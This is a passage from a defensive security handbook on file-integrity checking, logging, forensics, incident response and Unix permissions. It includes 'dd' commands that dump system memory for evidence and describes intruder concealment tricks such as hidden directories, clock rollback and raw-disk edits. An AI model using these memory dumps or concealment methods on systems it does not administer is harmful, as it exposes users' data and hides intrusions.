Furthermore, this approach can capture changes that a simple comparison copy cannot: comparison copies detect changes in the contents of files, but do little to detect changes in metadata such as file owners, protection modes, or modification times. These data are sometimes more important than the data within the files themselves. For instance, changes in owner or protection bits may result in disaster if they occur to the wrong file or directory. The simplest form of a checklist mechanism is to list the files with their attributes, and compare the output against a saved version of the list. It's usually necessary to include all the ancestor directories of important files in the checklist as well.

Checksums and Signatures

Unfortunately, simple checklists can be defeated with a little effort. Files can be modified in such a way that the information you monitor will not disclose the change. For instance, a file might be modified by writing to the raw disk device after the appropriate block is known. As the modification did not go through the filesystem, none of the information about file change time will be altered. Or an attacker could set the system clock back to the time of the last legitimate change, edit the file, and set the clock forward again.

To protect against these threats, we can generate a signature for each file, and compare file signatures. A good file signature must depend on every bit in the file, and it should be infeasible for an attacker to create another file that produces the same signature. These requirements disqualify simple checksum algorithms (like CRC), but are met by cryptographic message digests (discussed in chapter 5-3).

Well-developed software for file integrity checking computes at least one, and often several cryptographic digests of each file and its metadata. When a known good copy of the checker is used to generate file signatures in advance, and these signatures are stored safely (on write-once or removable media, for example) any changes to the files can be detected by running the known good copy again and comparing the signatures. One well known multi-platform package for doing this is *Tripwire* (http://www.tripwire.com); an open source version is available for Linux at no cost.

Log Files

A log file is a file that records one or more log events — that is, a specific action, activity or condition that the author of a program thought might be worth recording. Log files are an important building block of a secure system: they form a recorded history, or *audit trail*, of your computer's past, making it easier for you to track down intermittent problems or attacks. Using log files, you may be able to piece together enough information to discover the cause of a bug, the source of a break-in, or the scope of the damage involved. In cases where you can't stop damage from occurring, at least you will have some record of it. Those logs may be exactly what you need to rebuild your system, conduct an investigation, give testimony, recover insurance money, or get accurate field service performed.

Logs can be recorded in multiple locations:

- The logs can be stored on the computer responsible for the log event. For example, on modern Unix systems, logs are stored in the directory */var/log*, although other directories can be used by specific programs in specific cases. Windows NT-based systems collect messages from the operating system and applications about events and store them in a unified log file (often C:\WINNT\system32\config\SysEvent.Evt), although individual applications may also maintain their own log files.

- The logs can be sent over the network to a remote computer to be aggregated and stored. This computer, sometimes called a *log server*, can be used as a central location for monitoring many computers on a network. A log server can further be configured with a host-based firewall so that it can receive log information from other computers, but so that the computer is prohibited from transmitting any packets on the network. Using a remote log server helps prevent attackers from erasing their tracks. A centralized, remote logging system may also be an ideal place to run intrusion detection software on the collected logs.
- The logs can be written to write-once media or printed on a printer. These logs are virtually impossible to erase without physical access, but can become unwieldy to maintain.

For security reasons, some information should never be logged. For example, although you should log failed password attempts, you should not log the password that was used in the failed attempt. Users frequently mistype their own passwords, and logging these mistyped passwords would help an attacker break into a user's account. Some system administrators believe that the account name should also not be logged on failed login attempts—especially when the account typed by the user is nonexistent. The reason is that users occasionally type their passwords when they are prompted for their usernames.

Essential Log Events

Although different systems and applications log different events, some kinds of events are essential, and should be logged by any reasonably secure computer:

- Network connections from remote hosts, dialup connections on modems, and dial-out connections by modems. In some cases, logging overall data traffic patterns may reveal excessive outgoing data caused by an attacker using the computer as a staging ground for pirated software, or publishing your confidential data.
- User login times and locations. Seeing someone logging into the account of a local user from out of the country or at unusual hours may signal an intruder.
- Failed login attempts, which may alert you to attackers knocking on your computer's door.
- Process-level accounting, including process start and end times, ownership and privileges, and CPU utilization. This kind of accounting can reveal every command issued on your system, and is very helpful in analyzing security breaches – if it's intact.
- System shutdowns and reboots. Unexpected reboots may indicate a hardware problem, an attacker with physical access restarting the system in single-user mode, or a remote attacker covering his tracks in memory.
- Exceptional events reported by the operating system (such as disk full conditions). These always require attention, whether or not they are caused by an attacker.

Every event that's logged should include the process that generated the event and the date and time that it occurred. Most logging systems assign each logged event to a category or facility that describes the source of the event (such as 'mail' or 'network' or 'kernel'), and a priority or severity that describes the importance of the event (such as 'informational', 'warnings', or 'critical error'). Here is an example of a message logged by a Unix system:

> Aug 14 08:02:12 <mail.info> r2 postfix/local[81859]: 80AD8E44308: to=<jhalonen@ex.com>, relay=local, delay=1, status=bounced (unknown user: "jhalonen")

This message was generated by the *postfix* program called *local*. It reports that an e-mail message with the id 80AD8E44308 was received for the user *jhalonen@ex.com*. The message was bounced, because there is no user *jhalonen@ex.com*. The event's facility is *mail*; the priority is *info*. (See PUIS, 642-654 for a detailed discussion of Unix logging facilities, priorities, and configuration.)

Log File Analysis

It's not enough to log events – you must read the logs. On a busy server that may log hundreds or thousands of events an hour, this can be a daunting task. Log file analysis programs attempt to streamline the job by filtering log files to direct your attention toward important events and away from routine ones.

Some analysis software, like Microsoft's Event Viewer, lets you interactively view logs through filters of your choice. Other software, like the Swatch program often used on Unix servers, monitors logs in real-time and issues alerts when important events occur. (PUIS, 654-657)

Program-Specific Log Files

Most application programs, especially daemons, will maintain their own log files. FTP and web servers routinely log connections and file transfers, DNS name servers log domain transfers and queries, database servers log queries, and mail servers routinely log connection and message size information when sending or receiving messages. Errors and exceptional conditions are nearly always logged. In many cases, application-specific log analysis tools have been developed to summarize these logs in a more useful fashion.

Handwritten Logs

Another type of logging that can help you with security is not done by the computer at all; it is done by you and your staff. Keep a log book that records your day's activities. Log books should be kept on paper in a physically secure location. Because you keep them on paper, they cannot be altered by someone hacking into your computer even as superuser. They will provide a nearly tamperproof record of important information.

Handwritten logs have several advantages over online logs. You can record things that the computer won't, like bomb threats. You can access paper logs when the system is down. In some countries, there can be legal advantages to paper logs as evidence.

The biggest problem with log books is the amount of time you need to keep them up to date. These are not items that can be automated with a shell script. Unfortunately, this time requirement is the biggest reason why many administrators are reluctant to keep logs—especially at a site with hundreds (or thousands) of machines, each of which might require its own log book. We suggest that you try to be creative and think of some way to balance the need for good records against the drudgery of keeping multiple books up to date. Compressing information, and keeping logs for each cluster of machines are ways to reduce the overhead while receiving (nearly) the same benefit.

There are basically two kinds of log books: per-site logs and per-machine logs. In a per-site log book, you want to keep information that would be of use across all your machines and throughout your operations. The information can be further divided into exception and activity reports (power outages, alarm tests and triggers, personnel actions on employees with privileged access), and informational material (contact information, receipts for hardware and software, equipment serial numbers, MAC addresses for Ethernet machines, copies of router configurations, etc.). Each machine should also have a log book associated with it. In a per-machine log, exception and activity reports include notes about system crashes, downtimes, account creation and deletion, password changing, software installation, and system backups. Informational material might include copies of configuration files, lists of patches applied, and disk configurations.

Managing Log Files

Here are several final suggestions about log files:

Backups
Ensure that all of your log files are copied to your backup media on a regular basis, preferably daily. The timing of the backups should be such that any file that is periodically reset is copied to the backups before the reset is performed. This will ensure that you have a series of records over time to show system access and behavior.

Review
Review log files at least daily. Keeping log records does you little service if you do not review them on a regular basis. Log files can reveal problems with your hardware, with your network configuration, and (of course) with your security.

Processing
Filter your log files with analysis software. Many log messages record nothing of particular interest. You may become so accustomed to seeing this material that you get in the habit of making only a cursory scan of the messages to see if something is wrong, and this way you can easily miss an important message.

Filtering requires some care. You do not want to write a filter that selects those important things you want to see and discards the rest. Such a system is likely to result in an important message being discarded without being read. Instead, you should filter out the boring messages, being as specific as you can with your pattern matching, and pass everything else to you to be read. Periodically, you should also study unfiltered log messages to be sure that you are not missing anything of importance.

Trust
Don't trust your logs completely! Logs can often be altered or deleted by an intruder who obtains superuser privileges. Local users with physical access or appropriate knowledge of the system may be able to falsify or circumvent logging mechanisms. And, of course, software errors and system errors may result in logs not being properly collected and saved. Thus, you need to develop redundant scanning and logging mechanisms: because something is not logged does not mean it didn't happen.

Of course, simply because something was logged doesn't mean it did happen, either—someone may cause entries to be written to logs to throw you off the scent of a real problem or to point a false accusation at someone else.

Forensics

The information in log files is, for the most part, intentionally put there as a result of a programmer's decision. But a running system records other information as well. In recent years, there has been significant interest in *computer forensics*, the art of reading the tracks that are left in a computer system.

Although not obvious, some files are often kept on a per-user basis can be helpful in analyzing when something untoward has happened on your system. While not real log files, as such, these files can be treated as possible sources of information on user behavior.

Shell History

Many of the standard Unix user command shells, including *bash*, *csh*, *tcsh*, and *ksh*, can keep a *history file*. When the user issues commands, the text of each command and its arguments are stored into the history file for later re-execution. If you are trying to recreate activity performed on an account, possibly by some intruder, the contents of this file can be quite helpful when coupled with system log information. You must check the modification time on the file to be sure that it was in use during the time the suspicious activity occurred. If it was created and modified during the intruder's activities, you should be able to determine the commands run, the programs compiled, and sometimes even the names of remote accounts or machines that might also be involved in the incident. Be sure of your target, however, because this is potentially a violation of privacy for the real user of this account.

Obviously, an aware intruder will delete the file before logging out. In some cases, however, you can preserve the file either by forcing the intruder to log out, by making a hard link to the file elsewhere before the intruder logs out, or by recovering the deleted file. (PUIS, 677-678)

Mail

Some user accounts are configured to make a copy of all outgoing mail in a file. If an intruder sends mail from a user account where this feature is set, the message copies can provide you with potentially useful information. In at least one case we know of, a person stealing confidential information by using a coworker's pirated password was exposed because of recorded e-mail to his colleagues that he signed with his own name!

Network Setup

Each user account may have several network configuration properties or files that can be edited to provide shortcuts for commands, or to assert access rights. Sometimes, the information in these files will provide a clue as to the activities of a malefactor. Unix examples include the *.rhosts, .ssh/known_hosts,* and *.ssh/authorized_keys* files for remote logins, and the *.netrc* file for FTP. Examine these files carefully for clues, but remember: the presence of information in one of these files may have been there prior to the incident, or it may have been planted to throw you off.

Handling a Break-in

You should have an action plan prepared to deal with a security breach. Particularly security-conscious organizations should practice the plan. Here are the key components you should include:

Step 1: Identify and understand the problem.
Don't panic, and don't act without thinking. If you don't know what the problem is, you cannot take action against it. This rule does not mean that you need to have perfect understanding, but you should understand at least what *form* of problem you are dealing with. Cutting your organization's Internet connection won't help you if the problem is being caused by a revenge-bent employee with a laptop who is hiding out in a co-worker's office.

Step 2: Document.
Whether your goal is to get your system running again as soon as possible, or to collect evidence for a prosecution, you will be better off if you document what you do. Start a paper log immediately. Take a notebook and write down everything you find, noting the date and time. If you examine text files, print copies, and then sign and date the hardcopy.

In larger organizations, there may be an internal response team or security officer tasked to handle break-ins, contain damage, or coordinate responses. If your organization has such an internal incident reporting system, insure that they are involved at an early stage to assist with preservation of documentation as well as response.

Step 3: Contain or stop the damage.
If you've identified the problem, take immediate steps to halt or limit it. For instance, if you've identified the employee who is deleting system files, you'll want to turn off his account, and probably take disciplinary action as well. Both are steps to limit the damage to your data and system.

Step 4: Confirm your diagnosis and determine the damage.
After you've taken steps to contain the damage, confirm your diagnosis of the problem and determine the damage it caused. Are files still disappearing after the employee has been discharged? You may never be 100% sure if two or more incidents are actually related. Furthermore, you may not be able to identify all of the damage immediately, if ever.

Step 5: Preserve the evidence, if necessary.
If you intend to prosecute or seek legal redress for your incident, you must make an effort to preserve necessary evidence before going further. Failure to preserve evidence does not prohibit you from calling the police or filing a suit against the suspected perpetrator, but the lack of evidence may significantly decrease your chances for success. Be advised: preserving evidence can take time and is hard to do properly. For this reason, many organizations dealing with incidents forgo this step.

Step 6: Restore your system.
After you know the extent of the damage, you need to restore the system and data to a consistent state. This may involve reloading portions of the system from back-ups, or it may mean a simple restart of the system. Before you proceed, be certain that all of the programs you are going to use are "safe." The attacker may have replaced your *restore* program with a Trojan horse that deletes both the files on your hard disk *and* on your backup tape!

Step 7: Deal with the cause.
If the problem occurred because of some weakness in your security or operational measures, you'll want to make changes and repairs after your system has been restored to a normal state. If the cause was a person making a mistake, you will probably want to educate him or her to avoid a second occurrence of the situation. If someone purposefully interfered with your operations, you may wish to involve law enforcement authorities.

Step 8: Perform related recovery.
If damage caused by the attack is covered by insurance, you may need to file claims. Rumor control, and perhaps even community relations, will be required at the end of the incident to explain what happened, what breaches occurred, and what measures were taken to resolve the situation. This step is especially important with a large user community, because unchecked rumors and fears can often damage your operations more than the problem itself.

Step 9: Postmortem.
Once the heat has died down, review the incident and your handling of it. How could you and your team have handled the situation better? What effort was wasted? What wrong decisions were made? How could you have prevented it from happening in the first place?

In addition to having a plan of action, you can be prepared by creating a toolkit on read-only media (floppy, CD, etc.) This toolkit will give you a set of programs for incident response that you know are not compromised. Include programs that you will need to examine a compromised system. For a Unix system, these might include: *awk, bash, cat, compress, cut, dd, des, df, du, file, find, grep, gzip, icat, ifconfig, last, ls, lsmod, lsof, md5sum, modinfo, more,*

netcat, netstat, nmap, paste, pcat, perl, pgp, pkginfo, ps, rpm, rm, script, sed, strings, strace, tar, top, truss, uncompress, vi, and *w*. Don't forget shared libraries (or insure that the programs are statically linked). Having a bootable live filesystem on your CD or DVD is useful as well. One particularly handy toolkit is Knoppix (http://www.knoppix.org), a bootable live Linux CD that includes a myriad of analysis and forensics tools. Because Linux can mount Microsoft FAT file systems and other Unix file systems, a Knoppix CD makes an excellent general forensic toolkit.

Discovering an Intruder

There are several ways you might discover a break-in:

- Catching the perpetrator in the act. For example, you might see the superuser logged in from a cyber-cafe in Budapest when you are the only person who should know the superuser password.
- Deducing that a break-in has taken place based on changes that have been made to the system. For example, you might receive an electronic mail message from an attacker taunting you about a security hole, you may discover new accounts, or your network connection might be running very slowly because the bandwidth is being used by people downloading copyrighted software.
- a message from a system administrator at another site indicating strange activity at his or her site that has originated from an account on your machine.
- Strange activities on the system, such as system crashes, significant hard disk activity, unexplained reboots, minor accounting discrepancies, or sluggish response when it is not expected.

There are a variety of programs that you can use to check files and processes that might lead you to discover a break-in. Use these tools on a regular basis, but use them sporadically as well. This introduces an element of randomness that can keep perpetrators from being able to cover their tracks. This principle is a standard of *operations security*: try to be unpredictable.

What to Do When You Catch Somebody

You have a number of choices when you discover an intruder on your system:

1. Ignore them — they might go away. This is generally a poor choice. Ignoring an intruder who is on your system essentially gives him free reign to do harm to you, your users, and others on the network. You may also put yourself at risk for downstream liability if the intruder causes damages at another organization and you had the chance to stop him.
2. Try to contact them, and ask them what they want. Be extremely careful if you pursue this course of action. Some intruders are malicious in intent, or extremely paranoid about being caught. If you contact them, they may react by trying to delete everything on your computer so as to hide their activities. Trace the intruder before you contact them, and document every contact.
3. Monitor the intruder. This will give you an idea of whether the intruder is modifying your accounting database or simply rummaging around through your users' e-mail. However, keep in mind that you don't know how long this intruder has been on your system, so all you can really monitor is what is done *next*.

   If the intruder is logged in over a network connection, you can use a packet monitor such as *tcpdump*, *ethereal*, or *snoop* to either display the user's packets or record them in a file. If your computer is attached to a hub, another computer on the same network may be able to capture packets unobtrusively.

   If your intruder is logged on through a modem or serial port that is connected directly to your computer, there are several programs that you can use to monitor the intruder's actions, including *ttywatch, conserver, rtty,* and *ser2net*. These programs can give you a detailed, byte-by-byte account of the information that is sent over one

or more serial ports. In many cases, they can also monitor pseudo-ttys, which is valuable when the attacker has connected over the network using an encrypted protocol such as SSH.

In some countries, monitoring an intruder may be illegal, or may only be legal if you have a banner telling all users that they may be monitored.

4. Try to trace the connection and identify the intruder. If the intruder has called your computer by telephone, your options will depend on the services offered by your telephone company; some offer a caller id service or caller tracing services. If the intruder has logged in over the network, the *who* or *netstat* commands may quickly identify the computer that originated the connection. You can then contact the system administrator of the remote machine (by telephone!) for further tracing; administrator contact information can often be found in the whois registry for their domain name, or on the organization's web site. Another option is to use a traceroute program (traceroute or tracert.exe) to identify the network provider for the remote machine. If all else fails, you might send e-mail to root or postmaster at the remote machine asking them to call you; don't mention the break-in, however, as the intruder may be monitoring that account.

5. Break their connection by killing their processes, unplugging the modem or network, or turning off your computer. Killing your computer's power—turning it off—is the very quickest way to get an intruder off your computer and prevent him from doing anything else—including possibly further damage. Unfortunately, this is a drastic action. Not only does it stop the intruder, but it also interrupts the work of all of your legitimate users. It may also delete evidence you night need in court some day, delete necessary evidence of the break-in, such as running processes, and cause the system to be damaged when you reboot because of Trojaned startup scripts. In addition, many file systems do not deal with sudden power loss very gracefully: pulling the plug might do significantly more damage than the intruder might ever do.

   On Unix systems, you can use the *ps* command to get a list of the intruder's processes and the *kill* command to stop them, after you change the password on the account that the intruder is using. On Windows systems, the Task Manager serves these functions.

   If the intruder is connecting over a network, you can break that network connection by programming your firewall or router to drop packets from the user's host, or unplug the network connector altogether; if the intruder has dialed in over a telephone line, you can turn off the modem—or unplug it from the back of the computer.

6. Contact your Internet Service Provider, an incident response team, or law enforcement official to notify them of the attack.

After the Attack

The remainder of this chapter discusses in detail how to find out what an intruder may have done and how you should clean up afterwards.

Analyzing the Log Files

Even if you don't catch an intruder in the act, you still have a good chance of finding the intruder's tracks by routinely looking through the system logs. Look for things out of the ordinary; for example:

- Users logging in at strange hours
- Unexplained reboots
- Unexplained changes to the system clock

- Unusual error messages from the mailer, *ftp* daemon, or other network server
- Failed login attempts with bad passwords
- Unauthorized or suspicious use of the su command
- Users logging in from unfamiliar sites on the network

On the other hand, if the intruder is sufficiently skillful and achieves superuser access on your machine, he or she may erase all evidence of the invasion. Simply because your system has no record of an intrusion in the log files, you can't assume that your system hasn't been attacked.

Many intruders operate with little finesse: instead of carefully editing out a record of their attacks, they simply delete or corrupt the entire log file. This means that if you discover a log file deleted or containing corrupted information, there is a possibility that the computer has been successfully broken into. However, a break-in is not the only possible conclusion. Missing or corrupted logs might mean that one of your system administrators was careless; there might even be an automatic program in your system that erases the log files at periodic intervals.

You may also discover that your system has been attacked if you notice unauthorized changes in system programs or in an individual user's files. This is another good reason for using a file integrity tool to monitor your files for changes.

If your system logs to a hardcopy terminal or another computer, you may wish to examine that log first, because you know that it can't have been surreptitiously modified by an attacker coming in by the telephone or network.

Preserving the Evidence

If you wish to prosecute your attacker (if you ever find the person) or sue them for damages, you will need to preserve some evidence that a crime has been committed. Even if you do not wish to take any legal action, you may find it useful to collect evidence of the attack so that you have the ability to reconstruct what happened.

There are many approaches to gathering evidence. Here are some approaches that we have found successful:

1. Capture the data in the system's memory. On Unix, you can use the *dd* command:
   ```
   # dd bs=1024 < /dev/mem > mem.image
   # dd bs=1024 < /dev/kmem > kmem.image
   ```
2. Make a complete copy of the computer's disk drives. Now remove the original disks, place them in a vault, and work with the copies on another machine. If your system uses the */proc* filesystem, the copied */proc* may be of particular interest.
3. Copy key files that were left or modified by the intruder into an archive. Make a copy of this archive on several computers.
4. Write modified files to CDR or DVD-RAM media.
5. Run *arp -a* or *arp -v* to print the contents of the ARP table, which may suggest network connections that have been recently established.
6. If your web site was defaced, save the HTML pages on your computer's hard drive. Use a screen capture utility to record a copy of how the image looked on your computer's screen.
7. Take copies of displays that might reflect the current state of the compromised system. X-Windows systems can use *xwd* for this purpose; Microsoft Windows systems can use the PrtSc key.
8. Compute the MD5 digest of any images or files that you recover. Print the MD5 on a piece of paper, sign it, date it, and put it in your incident log book. You can use this MD5 at a later point in time to establish that the evidence has not been altered.

There are commercial products that you may find useful to assist you in preserving evidence, including high-speed disk duplicators and network forensics analysis tools (NFATs) that record all packets entering and leaving an organization.

If you have involved law enforcement authorities, speak with them before attempting to preserve any evidence on your own.

Cleaning Up After the Intruder

If your intruder gained superuser or administrator access, or access to another privileged account such as *mail*, he may have modified your system to make it easier for him to break in again in the future. If the intruder has installed a password sniffer or stolen the password file, he'll potentially have access to a legitimate account and will be able to get back in no matter what other precautions are taken. You'll have to change all of the passwords on the system.

After a successful break-in, you must perform a careful audit to determine the extent of the damage. Depending on the nature of the break-in, you'll have to examine your entire system. You may also need to examine other systems on your local network, or possibly the entire network (including routers and other network devices).

An intruder can compromise a system in many ways that can be difficult or impossible to detect. The safest course of action is to reinstall the operating system from scratch, apply all security patches, reinstall application programs from scratch (along with their patches) and then carefully restore user files from backups, or, if necessary, the compromised disks. Here are some particularly common things to watch for in your audit:

New Accounts
After a break-in, scan for newly created accounts. Delete any accounts that have been created by an intruder. You may wish to make a paper record of each account before deleting it in case you wish to prosecute the intruder (assuming that you ever find the villain).

Changes in file contents or permissions
An intruder who gains privileges can change any file on your system. Although you should make a thorough inventory of your computer's entire filesystem, you should look specifically for any changes to the system that affect security. For example, an intruder may have inserted trap doors or logic bombs to do damage at a later point in time. A clean copy of a file integrity checker and a known good backup of its database are invaluable.

New SUID and SGID files
Intruders who gain superuser access frequently create SUID and SGID files when the system supports them. After a break-in, scan your system to make sure that new SUID files have not been created. (PUIS, 151-154)

Changes in network access files
An intruder may have created or changed files to allow remote access in the future. For example, under Unix, the intruder may create new *.rhosts or.ssh/authorized_keys* files in your users' home directories, or added machines to the system-wide */etc/hosts.equiv* file. Check all of these files and ask users to do the same. (PUIS, 705-706)

Changes to startup files
An intruder may have modified the contents of user or system-wide startup files, or files that may be automatically run at scheduled times or when triggered by certain events (like automatically forwarding an e-mail message). All these files need to be carefully checked.

Change to configuration files
Any service that runs as a privileged user and reads a configuration file may be vulnerable to changes made to that configuration file. The Windows Registry is the epitome of vulnerable configuration files. All configuration files for services should be checked against known good copies or cryptographic signatures.

Hidden files and directories
The intruder may have created "hidden directories" on your computer, and may be using them as a repository for stolen information or for programs that break security.

Intruders often hide their files in directories with names that are a little difficult to discover or enter on the command line. This way, a novice system administrator who discovers the hidden directory will be unlikely to figure out how to access its contents. Filenames that are difficult to discover or enter include ".. " (dot dot space), and names containing control characters, backspaces, or other special characters. Some names can be entered in Unicode that display as familiar alphabetic characters but that cannot be entered easily from the keyboard. Another approach is to use filenames that sound like they are obscure parts of the operating system that should not be tampered with (file systems that have "system" attributes for directories are particularly vulnerable to this approach.)

Unowned files
Sometimes attackers leave files in the filesystem that are not owned by any user or group. This can happen if the attacker created an account and some files, and then deleted the account—leaving the files. Alternatively, the attacker might have been modifying the raw data on a disk and changed a UID by accident.

New network services
Many intruders (and many attack scripts) will install network daemons that provide backdoor access to the compromised host at a later time, or can be used to direct the host to act as a zombie in attacks against other hosts. Although these new services can sometimes be detected by the output of system commands on the compromised host, those commands are also frequently modified. You may be able to detect new daemons using nmap or another port scanning tool from an uncompromised machine on the same network. (Of course, it's always safest to disconnect a compromised machine from your network while you're investigating it.)

You may also need to sweep the entire filesystem and observe what files and directories were accessed around the time of the intrusion. This may give you some clues as to what was done. For instance, if your compiler, loader, and libraries all show access times within a few seconds of each other, you can conclude that the intruder compiled something.

If you open files to search for changes, the time of last access on those files will change. Therefore, you will be unable to detect patterns of access. For this reason, we suggest that you conduct your forensics on a copy of your disks, mounted read-only. If you don't have the hardware to make a copy, many systems will allow you to remount live partitions read-only (possibly through a loopback interface). Do your forensics on the copy. But realize that simply executing commands on this setup will likely change their access times, and the access times of any shared libraries and configuration files (unless you remount every partition)! Thus, your best bet may be to mount the disks read-only on *another* system, and do your checking from there.

Never Trust Anything Except Hardcopy

If your system is compromised, don't trust anything that is on its disks. If you discover changes in files on your system that seem suspicious, don't believe *anything* that your system tells you, because a good system cracker can change anything on the computer. The attacker can compile and install new versions of any system program—so there might be changes, but your standard utilities might not tell you about them. The attacker can patch the kernel that the computer is running, possibly disabling security features that you have previously enabled. The attacker can even open the raw disk devices for reading and writing. Often, they don't need (or have) great skill. Instead, they have access to rootkits put together by others with more skill.

The only limit to the powers of an attacker who has gained superuser status is that the attacker cannot change something that has been indelibly *printed* on a piece of paper to which the attacker does not have access. For this reason, if you have a logging facility that logs whenever the date is changed, you might consider having the log made to a hardcopy terminal or to another computer. Then, be sure to examine this log on a regular basis.

To further protect yourself, you should have a bootable copy of your operating system on a zip disk, CD-ROM, or other removable storage device. This gives you a way of booting and examining your system with a set of tools that are known to be uncorrupted. Coupled with a database of message digests of unmodified files,[245] you should be able to find anything important that was modified on your system — provided that your message digests were generated from uncorrupted versions of your software. Remember that you cannot necessarily trust your backups, as you don't know when the intrusion started: use distribution media if possible.

The next step is to get a printed copy of all of the necessary logs that you may have available (e.g., console logs and printed copies of network logs), and to examine these logs to try to get an idea of what the unauthorized intruder has done. You will also want to see if anything unusual has happened on the system since the time the intruder logged in. These logs may give you a hint as to what programs the intruder was running and what actions the intruder took. Be sure to initial and timestamp these printouts.

Keep in mind that the time you discover a break-in is not necessarily the same time as when it started! In one incident, there was evidence that the actual intrusion had occurred *two years before*! There were no backups or copies of software on the system that could be trusted. In fact, the intruders had been making wholesale changes to the system during all that time ... installing patches and upgrades! They were doing a better job of administration than the person charged with managing the machine.

Resuming Operation

The next step in handling a break-in is to restore the system to a working state. How quickly you must be back in operation, and what you intend to do about the break-in over the long term, will determine when and how you perform this step.

At a minimum, you want to get whatever assurance you can that you have restored anything damaged on the system, and fixed whatever it was that allowed the intruder in. Then, if you have been keeping good backups, you can restore the system to a working state.

The difficulty with determining what failed and allowed an intruder in is complicated by the fact that there is usually little data in the logs to show what happened, and there are few things you can execute to reverse-engineer the break-in. Most break-ins seem to result from either bugs or, less commonly, compromised user passwords (suspect this especially if you find that the intruders have installed a sniffer on your system).

If the break-in was the result of a bug, you may have difficulty determining what it is, especially if it is a new one that has not been widely exploited. Here are some things to try:

1. If you have been recording your network traffic, examine your analysis system to see if any of the traffic is odd or unexplained.
2. Examine your log files looking for unusual entries, unusual patterns of activity, or evidence that programs have crashed.
3. If you know the specific IP address that the attacker used as the source of the attack, search through all of your log files for records of that IP address.

[245] You can use Tripwire to produce such a database, or you can develop your own software.

If you suspect that it is a bug in some system software, you can try contacting your vendor to see if you can get some assistance there. In most cases it helps if you have a maintenance contract or are a major customer.

You might consult recent postings to the security groups on web sites or mailing lists. Often, current vulnerabilities are discussed at these locations in great detail. It is also the case that sometimes these sites contain information that is incorrect and even dangerous advice. Therefore, be very wary of what you read.

Finally, you may wish to contact a FIRST team appropriate for your site. Teams in FIRST often have some insight into current break-ins, largely because they see so many reports of them. Contacting a representative from one of the teams may result in some good advice for things to check before you put your system back into operation. However, many teams have rules of operation that prevent them from giving too much explicit information about active vulnerabilities until the appropriate vendors have announced a fix. Thus, you may not be able to get complete information from this source.

Damage Control

If you've already restored the system, what damage is there to control? Well, the aftermath, primarily. You need to follow through on any untoward consequences of the break-in. For instance, was proprietary information copied? If so, you need to notify your legal counsel and consider what to do.

You should determine which of the following concerns need to be addressed:

1. Do you need to file a formal report with law enforcement, a regulatory agency, an insurance company, or your vendor?
2. Do you need to institute disciplinary or dismissal actions against one or more employees? Do you need to update employee training to forestall any future incidents of this type?
3. Do you need to update your disaster recovery plan to account for changes or experiences in this instance?
4. Do you need to investigate and fix the software or configuration of any other systems under your control, or at any affiliated sites?
5. Do you need to have your public relations office issue a formal report (inside or outside) about this incident?

The answers to the above questions will vary from situation to situation and incident to incident.

CHAPTER 10.
SYSTEM-SPECIFIC GUIDELINES

At a Glance

Most of this handbook applies no matter what kind of hardware and operating systems you're running. This chapter discusses some technical recommendations that are specific to Unix/Linux, Microsoft Windows, and MacOS 7-9 operating systems (MacOS X is covered by the Unix material).

Unix and Unix-like Operating Systems[246]

Traditionally, Unix-based systems were deployed in large-scale multiuser time-sharing environments, or as clusters of workstations with networked filesystems. Today, Unix-based systems are increasingly used as single-user workstations or servers.

Because there have been so many different versions of Unix-like operating systems, many security mechanisms are vendor-specific. It's particularly important to read all of the manuals for your vendor's version of Unix. Several good books, web sites, and mailing lists devoted to Unix security are listed in Annexes 2-5.

Users, Groups, and the Superuser

Much of Unix's security relies on the separation of users and user groups. All files and processes have an associated effective user and group id that determines what privileges they have. Two users should never share the same account or user ids; instead, assign individual accounts and use groups to share file access rights among users.

On Unix-like systems, the user *root* (uid 0) is the superuser and usually has the ability to modify every aspect of the system. Accordingly, protecting the root account and processes that run with root privileges is a critical aspect of Unix security. Avoid using the root account for routine activities, and disable logins by root. When you must use root, use the *su* command (or a variation like *sudo*) to change from your normal user account to root. This both creates accountability through logging and requires that an attacker subvert two accounts to gain superuser access. Obviously, it behooves you to limit access to commands like su; on some systems, only users in the *wheel* group can use *su*.

Some Unix kernels support the ability to limit what even root can do while the system is running in its normal mode, through the use of kernel security levels or capabilities. Check your vendor's documentation to determine if these limits are available in your version, and take advantage of them if they are.

If you have particularly sensitive data files, you may wish to keep them encrypted and on removable media to guard against their exposure in the event that the root account is compromised. Note, however, that encryption is not sufficient if the decryption program resides on the same system, as an attacker with superuser access can modify the decryption program to save a copy of the decrypted file.

Filesystems and Security

Files in Unix are assigned an owner and a group, and the *chmod* command is used to specify what the owner, members of the file's group, and everyone else can do to the file. These file permissions include the ability to read the file's contents, write to the file, and execute the file as a program. Permissions on directories are used to

[246] Throughout this section, we will be referring to Unix and Unix-based systems interchangeably. Although the term "Unix" will appear in this text most often, the information is applicable to Linux and other variants on Unix.

control who can examine files in the directory and who can add or remove files from a directory. Learn how to use *chown, chgrp*, and *chmod* to control access to files, and *ls* to list important file access information.

Each Unix user has a *umask* value that determines the default permissions for files and directories they create. Use the *umask* command in login scripts to insure that users have an appropriate umask value. The value 027 allows only others in the user's group to read and execute, but not modify, files. The value 077 denies any access to anyone but the user themselves.

Some Unix systems support more fine-grained access control lists (ACLs) for files. ACLs can grant or deny permission for individual users to read, write, or execute files. If your system supports ACLs, learn how to use them.

Some Unix systems support *immutable* and *append-only* attributes on files. An *immutable* file can't be altered, even by root, unless the system is booted in a special low-security mode from the console. An *append-only* file can only be added to, and not otherwise modified or deleted; log files are good candidates for *append-only* attributes. If your system provides these, take advantage of them.

Unix files with the setuid (SUID) permission run with the effective user id of their owner, rather than of the user who executes them. SUID files allow one user to execute commands that require the privileges of another (often root); as such, they represent a potential vulnerability. Setgid (SGID) files run with the effective group id of their group, rather than that of the user who executes them. You should periodically scan your system for SUID/SGID files and make sure that you know why they have those permissions. Keep a list of these files printed out. Avoid writing SUID/SGID programs yourself; never write SUID/SGID shell scripts. Some filesystems can be mounted with a *nosuid* option that prevents SUID/SGID permissions from functioning; it's a good idea to mount user home directories and other non-system partitions with this option.

Unix represents devices as files. For example, printers, serial ports, hard drives, and even the system's memory are accessible through device files. Although device files are generally found in the */dev* directory, they can be created anywhere by a user with appropriate (usually superuser) privileges. If an unauthorized user can read your system memory, they can access sensitive information of other users; if they can write to your system memory, they can compromise the system. The same caution applies to raw disk devices and several other kinds of devices. Scan for device files on your system and insure that they have appropriate ownership and permissions. If your filesystems can be mounted with a *nodev* option, consider using that. On some systems, a file called *logindevperm* or *fbtab* controls how device permissions are modified when a user logs in at the console (to prevent, for example, remote users from turning on the microphone and monitoring the room). If you have this file, check to be sure it's properly set up.

Encryption

